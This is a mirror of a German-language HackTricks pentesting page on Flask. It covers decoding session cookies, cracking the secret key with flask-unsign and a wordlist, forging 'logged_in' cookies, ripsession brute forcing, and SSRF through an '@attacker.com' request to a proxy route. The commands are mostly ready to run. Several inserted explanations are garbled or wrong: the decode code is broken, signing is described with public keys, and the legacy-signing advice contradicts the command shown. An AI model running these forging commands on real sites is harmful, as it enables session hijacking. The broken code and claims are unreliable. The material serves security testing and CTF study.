mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-25 04:23:33 +00:00
183 lines
9.8 KiB
Markdown
183 lines
9.8 KiB
Markdown
# Flask
|
|
|
|
<details>
|
|
|
|
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
|
|
|
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories** senden.
|
|
|
|
</details>
|
|
|
|
<figure><img src="../../.gitbook/assets/image (9) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
|
|
Erhalten Sie noch heute Zugriff:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
**Wahrscheinlich ist eine Flask-Anwendung in einem CTF mit** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)** verbunden.**
|
|
|
|
## Cookies
|
|
|
|
Der Standardname für die Sitzungs-Cookie ist **`session`**.
|
|
|
|
### Decoder
|
|
|
|
Online Flask-Cookie-Decoder: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
|
|
|
|
#### Manuell
|
|
|
|
Holen Sie sich den ersten Teil des Cookies bis zum ersten Punkt und decodieren Sie ihn mit Base64:
|
|
```bash
|
|
echo "ImhlbGxvIg" | base64 -d
|
|
```
|
|
Der Cookie wird auch mit einem Passwort signiert
|
|
|
|
### **Flask-Unsign**
|
|
|
|
Befehlszeilentool zum Abrufen, Decodieren, Brute-Forcen und Erstellen von Sitzungscookies einer Flask-Anwendung durch das Raten von geheimen Schlüsseln.
|
|
|
|
{% embed url="https://pypi.org/project/flask-unsign/" %}
|
|
```bash
|
|
pip3 install flask-unsign
|
|
```
|
|
#### **Cookie entschlüsseln**
|
|
|
|
To decode a Flask session cookie, you can use the `itsdangerous` library. The session cookie is usually named `session` and is base64 encoded. The decoded cookie contains a serialized JSON object with the session data.
|
|
|
|
```python
|
|
import base64
|
|
import zlib
|
|
import json
|
|
from itsdangerous import URLSafeTimedSerializer
|
|
|
|
def decode_flask_cookie(secret_key, cookie_value):
|
|
signer = URLSafeTimedSerializer(secret_key)
|
|
try:
|
|
decoded_data = signer.loads(cookie_value)
|
|
decompressed_data = zlib.decompress(base64.b64decode(decoded_data))
|
|
session_data = json.loads(decompressed_data)
|
|
return session_data
|
|
except Exception as e:
|
|
print(f"Error decoding cookie: {e}")
|
|
return None
|
|
```
|
|
|
|
To use this function, you need to provide the secret key used to sign the cookie and the value of the cookie itself. The function will return the decoded session data as a Python dictionary.
|
|
|
|
```python
|
|
secret_key = "your_secret_key"
|
|
cookie_value = "your_cookie_value"
|
|
|
|
decoded_session = decode_flask_cookie(secret_key, cookie_value)
|
|
print(decoded_session)
|
|
```
|
|
|
|
Remember to replace `"your_secret_key"` with the actual secret key used by the Flask application and `"your_cookie_value"` with the value of the session cookie you want to decode.
|
|
```bash
|
|
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
|
|
```
|
|
#### **Brute Force**
|
|
|
|
Brute Force ist eine Methode, bei der ein Angreifer systematisch alle möglichen Kombinationen von Benutzernamen und Passwörtern ausprobiert, um Zugriff auf ein System zu erlangen. Diese Methode kann verwendet werden, um die Sicherheit von Webanwendungen zu testen, indem sie versucht, sich mit verschiedenen Kombinationen von Anmeldeinformationen anzumelden. Es ist wichtig zu beachten, dass Brute Force-Angriffe zeitaufwändig sein können und dass die Erfolgschancen von Faktoren wie der Länge und Komplexität der Passwörter abhängen. Es wird empfohlen, starke Passwörter zu verwenden und Sicherheitsmaßnahmen wie Kontosperrungen nach einer bestimmten Anzahl von fehlgeschlagenen Anmeldeversuchen zu implementieren, um Brute Force-Angriffe zu erschweren.
|
|
```bash
|
|
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
|
|
```
|
|
#### **Signierung**
|
|
|
|
The signing process ensures the integrity and authenticity of data. It involves using a private key to generate a digital signature, which can be verified using the corresponding public key. This ensures that the data has not been tampered with and that it originated from the expected source.
|
|
|
|
Die Signierung stellt die Integrität und Authentizität von Daten sicher. Dabei wird ein privater Schlüssel verwendet, um eine digitale Signatur zu generieren, die mithilfe des entsprechenden öffentlichen Schlüssels überprüft werden kann. Dadurch wird sichergestellt, dass die Daten nicht manipuliert wurden und von der erwarteten Quelle stammen.
|
|
```bash
|
|
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
|
|
```
|
|
#### Signieren mit veralteten (alten Versionen)
|
|
|
|
In einigen älteren Versionen von Flask wurde die Signaturfunktion `sign` verwendet, um Daten zu signieren. Diese Funktion ist jedoch anfällig für verschiedene Angriffe und sollte nicht mehr verwendet werden. Stattdessen sollte die sicherere Funktion `signer` verwendet werden, die in neueren Versionen von Flask verfügbar ist.
|
|
|
|
Um die `signer`-Funktion zu verwenden, müssen Sie zuerst ein Signierungsobjekt erstellen. Dies kann mit dem `itsdangerous`-Modul erfolgen, das in Flask enthalten ist. Verwenden Sie den folgenden Code, um ein Signierungsobjekt zu erstellen:
|
|
|
|
```python
|
|
from itsdangerous import URLSafeTimedSerializer
|
|
|
|
secret_key = "geheimeschluessel"
|
|
signer = URLSafeTimedSerializer(secret_key)
|
|
```
|
|
|
|
Sobald Sie das Signierungsobjekt erstellt haben, können Sie die `dumps`-Methode verwenden, um Daten zu signieren, und die `loads`-Methode, um die signierten Daten zu überprüfen und wiederherzustellen. Hier ist ein Beispiel, wie Sie die `dumps`- und `loads`-Methoden verwenden können:
|
|
|
|
```python
|
|
data = "zu signierende daten"
|
|
signed_data = signer.dumps(data)
|
|
restored_data = signer.loads(signed_data)
|
|
```
|
|
|
|
Stellen Sie sicher, dass Sie den geheimen Schlüssel sicher aufbewahren und nicht in öffentlichen Repositories oder in der Produktionsumgebung speichern.
|
|
```bash
|
|
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
|
|
```
|
|
### **RIPsession**
|
|
|
|
Befehlszeilentool zum Brute-Forcen von Websites unter Verwendung von mit flask-unsign erstellten Cookies.
|
|
|
|
{% embed url="https://github.com/Tagvi/ripsession" %}
|
|
```bash
|
|
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
|
|
```
|
|
### SQLi in Flask Session-Cookie mit SQLmap
|
|
|
|
[**Dieses Beispiel**](../../pentesting-web/sql-injection/sqlmap/#eval) verwendet die sqlmap `eval`-Option, um automatisch sqlmap-Payloads für Flask mit einem bekannten Geheimnis zu signieren.
|
|
|
|
## Flask-Proxy zu SSRF
|
|
|
|
[**In diesem Artikel**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) wird erklärt, wie Flask eine Anfrage zulässt, die mit dem Zeichen "@" beginnt:
|
|
```http
|
|
GET @/ HTTP/1.1
|
|
Host: target.com
|
|
Connection: close
|
|
```
|
|
Welches Szenario ist in folgendem Fall gegeben:
|
|
```python
|
|
from flask import Flask
|
|
from requests import get
|
|
|
|
app = Flask('__main__')
|
|
SITE_NAME = 'https://google.com/'
|
|
|
|
@app.route('/', defaults={'path': ''})
|
|
@app.route('/<path:path>')
|
|
def proxy(path):
|
|
return get(f'{SITE_NAME}{path}').content
|
|
|
|
app.run(host='0.0.0.0', port=8080)
|
|
```
|
|
Es könnte ermöglichen, etwas wie "@attacker.com" einzuführen, um einen **SSRF** zu verursachen.
|
|
|
|
|
|
|
|
<figure><img src="../../.gitbook/assets/image (9) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
|
|
Erhalten Sie noch heute Zugriff:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
<details>
|
|
|
|
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
|
|
|
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
|
|
|
</details>
|